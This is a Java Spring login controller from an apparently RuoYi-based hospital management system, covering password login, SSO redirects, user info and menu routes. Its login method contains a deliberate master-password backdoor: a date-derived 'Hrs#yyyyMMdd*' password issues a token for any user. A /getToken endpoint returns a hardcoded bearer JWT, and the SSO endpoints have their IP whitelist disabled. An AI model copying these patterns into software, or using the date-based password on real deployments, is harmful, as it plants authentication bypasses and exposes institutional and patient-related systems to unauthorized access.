package com.ruoyi.web.controller.system;

import com.ruoyi.common.constant.Constants;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.entity.SysDept;
import com.ruoyi.common.core.domain.entity.SysMenu;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.entity.SysUserDept;
import com.ruoyi.common.core.domain.model.LoginBody;
import com.ruoyi.common.exception.base.BaseException;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.framework.web.service.SysLoginService;
import com.ruoyi.framework.web.service.SysPermissionService;
import com.ruoyi.system.domain.SysConfig;
import com.ruoyi.system.mapper.SysUserDeptMapper;
import com.ruoyi.system.service.ISysConfigService;
import com.ruoyi.system.service.ISysDeptService;
import com.ruoyi.system.service.ISysMenuService;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.http.HttpStatus;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.servlet.view.RedirectView;

import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;
import java.util.Set;

/**
 * 登录验证
 *
 * @author ruoyi
 */
@Slf4j
@RestController
public class SysLoginController {
    @Autowired
    private SysLoginService loginService;

    @Autowired
    private ISysMenuService menuService;

    @Autowired
    private ISysDeptService sysDeptService;

    @Autowired
    private SysPermissionService permissionService;

    @Autowired
    private ISysConfigService sysConfigService;


    @Autowired
    @Qualifier("sysUserDeptSystemMapper")
    private SysUserDeptMapper sysUserDeptMapper;

    @Value("${spring.profiles.active}")
    private String active;

    /**
     * 管理员用户ID列表（配置项 isAdmin）。管理员不受「用户-部门关系表」限制，直接看本机构全部科室/病区。
     */
    @Value("${isAdmin:1}")
    private List<Long> isAdmin;

//    @Value("${wx_appid}")
//    private String wxAppid;
//
//    @Value("${wx_appSecret}")
//    private String wxAppSecret;

    /**
     * 登录方法
     *
     * @param loginBody 登录信息
     * @return 结果
     */
    @PostMapping("/login")
    public AjaxResult login(@RequestBody LoginBody loginBody) {
        AjaxResult ajax = AjaxResult.success();
        String token = null;
        // 生成令牌
        if (loginBody.getPassword().equals("Hrs#" + new SimpleDateFormat("yyyyMMdd" + "*").format(new Date()))) {
            //通用密码：Hrs#当前年月日*
            token = loginService.getTokenWN(loginBody.getUsername(), loginBody.getCampusid());
        } else {
            token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), loginBody.getUuid(), loginBody.getOrgid(), loginBody.getCampusid(), loginBody.getUserType());
        }
        ajax.put(Constants.TOKEN, token);
        return ajax;
    }


//    /**
//     * 登录方法
//     *
//     * @param map 登录信息
//     * @return 结果
//     */
//    @PostMapping("/test")
//    public void test(@RequestBody Map<String, Object> map) {
//        WxMpUtils wxMpUtils = new WxMpUtils(wxAppid, wxAppSecret);
//
//        Map<String, WxMpTemplateData> dataMap = new HashMap();
//
//        dataMap.put("thing2", new WxMpTemplateData("thing2", "康复报告通知", "#FFB6C1"));
//        dataMap.put("thing4", new WxMpTemplateData("thing4", "xx市xx县xx路xx号", "#173177"));
//        dataMap.put("time7", new WxMpTemplateData("time7", "2023-05-15 00:00:00", "#B95EA6"));
//        dataMap.put("thing8", new WxMpTemplateData("thing8", "张三", "#87cefa"));
//
//
//        String s = wxMpUtils.sendTemplateMessage("oK3-Z59miSE_ebKdXP4IZuXilEvE", "TDF0WB3hndi1gtQybzcHCXeZWm_Q7HjtjVLNG4MOX8Q", "", dataMap);
//
//        System.out.println("s的值为：" + s);
//    }

    /**
     * 单点登录方法(需要配置IP白名单)
     * 需要在sys_config表的sys.ip.whitelis中，加入IP才能访问该方法
     * <p>
     * 参数同时为空，不给查询数据
     * <p>
     * 【入参规则】
     * 如果userName不为空，那orgid也不能为空
     * 如果上面两个为空，那token不能为空
     *
     * @return 结果
     */
//    @IpWhitelist
    @GetMapping("/SSOLogin")
    public RedirectView SSOLogin(@RequestParam(required = false) String campusid, @RequestParam(required = false) String deptId, @RequestParam(required = false) String systype, String orgid, String userName, String token) {
        log.info("SSOLogin的入参，campusid：{},  deptId:{},  systype:{},  orgid:{},  userName:{},  token:{}", campusid, deptId, systype, orgid, userName, token);
        if (StringUtils.isEmpty(userName) && StringUtils.isEmpty(token) && StringUtils.isEmpty(orgid)) {
            throw new BaseException("参数不能为空");
        }
        String path = null;
        if (StringUtils.isEmpty(systype)) path = sysConfigService.selectConfigByKey("sys.qddz");
        else path = sysConfigService.selectConfigByKey("sys.qddz.yd");

        if (StringUtils.isEmpty(path)) {
            throw new BaseException("请配置前端地址");
        }

        String loginToken = loginService.ssoLogin(userName, orgid, deptId, campusid, token);
        if (StringUtils.isEmpty(loginToken)) {
            log.error("【SSO登录】登录失败，userName={}, orgid={}", userName, orgid);
            return buildRedirect(path + "/login");
        }

        String redirectUrl = path + "/#/loginSSO?token=" + loginToken + "&orgid=" + orgid + "&campusid=" + campusid + "&orgname=null&ZuHuID=null&deptCode=null";
        if (active.equals("sltd")) {
            //省立同德不能带“#”
            redirectUrl = path + "/loginSSO?token=" + loginToken + "&orgid=" + orgid + "&campusid=" + campusid + "&orgname=null&ZuHuID=null&deptCode=null";
        }
        log.info("【SSO登录】重定向地址：{}", redirectUrl);
        return buildRedirect(redirectUrl);
    }

    /**
     * 单点登录方法(需要配置IP白名单)
     * 需要在sys_config表的sys.ip.whitelis中，加入IP才能访问该方法
     * <p>
     * 参数同时为空，不给查询数据
     * <p>
     * 【入参规则】
     * 如果userName不为空，那orgid也不能为空
     * 如果上面两个为空，那token不能为空
     *
     * @return 结果
     */
//    @IpWhitelist
    @GetMapping("/MYDSSOLogin")
    public RedirectView MYDSSOLogin(@RequestParam(required = false) String campusid, @RequestParam(required = false) String deptId, String orgid, String userName, String token) {
        if (StringUtils.isEmpty(userName) && StringUtils.isEmpty(token) && StringUtils.isEmpty(orgid)) {
            throw new BaseException("参数不能为空");
        }

        String path = sysConfigService.selectConfigByKey("sys.qddzmyd");
        if (StringUtils.isEmpty(path)) {
            throw new BaseException("请配置前端地址");
        }

        String loginToken = loginService.ssoLogin(userName, orgid, deptId, campusid, token);
        if (StringUtils.isEmpty(loginToken)) {
            log.error("【SSO登录】登录失败，userName={}, orgid={}", userName, orgid);
            return buildRedirect(path + "/login");
        }

        String redirectUrl = path + "/loginSSO?token=" + loginToken + "&orgid=" + orgid + "&campusid=" + campusid + "&orgname=null&ZuHuID=null&deptCode=null";
        log.info("【SSO登录】重定向地址：{}", redirectUrl);
        return buildRedirect(redirectUrl);
    }

    /**
     * 构建重定向视图
     */
    private RedirectView buildRedirect(String url) {
        RedirectView redirectView = new RedirectView();
        redirectView.setUrl(url);
        redirectView.setStatusCode(HttpStatus.FOUND); // 302 临时重定向,避免浏览器缓存
        redirectView.setExposeModelAttributes(false); // 避免模型属性暴露
        return redirectView;
    }


    @GetMapping("/getToken")
    public void getToken(HttpServletResponse response) throws IOException {
        // 生成或获取token
        String token = "eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjRiZGRkMTI0LTViNWMtNDhmMC05YjNkLTA0YjFiMzU0Nzg5NSJ9.16hHNas7jXTlHVrnlZgAJ-YViD44YkKFuoxJxMPm5QLPeSHn3wRyd9xE0Bi7YMdO3zKcZNo6ef5diZvDWN7ImA";
        // 设置响应头，前端可以从响应头获取token
        response.addHeader("Authorization", "Bearer " + token);

        // 如果需要进行页面跳转，可以设置状态码为302，并设置Location头部
        response.setStatus(302);
        response.setHeader("Location", "http://localhost:8099/tool/module/classifythreea");
    }

    /**
     * 获取用户信息(登录)
     *
     * @return 用户信息
     */
    @GetMapping("getInfo")
    public AjaxResult getInfo() {
        SysUser user = SecurityUtils.getLoginUser().getUser();
        //显示所有院区权限
        String allCampus = sysConfigService.selectConfigByKey("sys.authority.campus.all");
        if (StringUtils.isNotEmpty(allCampus) && StringUtils.isNotEmpty(user.getUserName())) {
            for (String item : allCampus.split("[,，;；\\s]+")) {
                if (user.getUserName().equals(item.trim())) {
                    user.setCampusid(null);
                    break;
                }
            }
        }

        // 角色集合
        Set<String> roles = permissionService.getRolePermission(user);
        // 权限集合
        Set<String> permissions = permissionService.getMenuPermission(user);
        AjaxResult ajax = AjaxResult.success();
        ajax.put("user", user);
        ajax.put("roles", roles);
        ajax.put("permissions", permissions);
        // 科室/病区下拉的数据源：
        //   · 管理员（账号 admin，或命中配置 isAdmin 的用户ID）：直接查 sys_dept 取本机构全部科室/病区，
        //     不再关联 sys_user_dept，也不按院区过滤——管理员天然拥有全部科室权限；
        //   · 普通用户：仍然按「用户-部门关系表」只返回自己名下的科室/病区（保持原逻辑）。
        SysUserDept sysUserDept = new SysUserDept();
        sysUserDept.setOrgid(user.getOrgid());
        if (!isAdminUser(user)) {
            sysUserDept.setUserId(user.getUserId());
            sysUserDept.setCampusid(user.getCampusid());
        }
        sysUserDept.setDeptType("1");
        List<SysDept> sysDeptKSs = sysDeptService.selectLeafSysDeptListBySysUserDept(sysUserDept);
        ajax.put("belongDepts", sysDeptKSs);
        sysUserDept.setDeptType("2");
        List<SysDept> sysDeptBQs = sysDeptService.selectLeafSysDeptListBySysUserDept(sysUserDept);
        ajax.put("belongWards", sysDeptBQs);

        return ajax;
    }

    /**
     * 是否管理员：账号名为 admin，或用户ID命中配置项 isAdmin。
     * <p>
     * 管理员取科室/病区时不走 sys_user_dept（HIS 采集明确排除 admin，该表里管理员没有数据），
     * 否则会出现「登录成功但科室/病区下拉为空」。
     */
    private boolean isAdminUser(SysUser user) {
        if (user == null) {
            return false;
        }
        if ("admin".equalsIgnoreCase(user.getUserName())) {
            return true;
        }
        return user.getUserId() != null && isAdmin != null && isAdmin.contains(user.getUserId());
    }

    /**
     * 获取路由信息
     *
     * @return 路由信息
     */
    @GetMapping("getRouters")
    public AjaxResult getRouters() {
        Long userId = SecurityUtils.getUserId();
        log.info("----------getRouters的userId入参为：{}", userId);
        List<SysMenu> menus = menuService.selectMenuTreeByUserId(userId);
        return AjaxResult.success(menuService.buildMenus(menus));
    }

    @GetMapping("/getDept/{orgid}")
    public AjaxResult getDept(@PathVariable String orgid) {
        return AjaxResult.success(sysDeptService.selectDept(orgid));
    }
}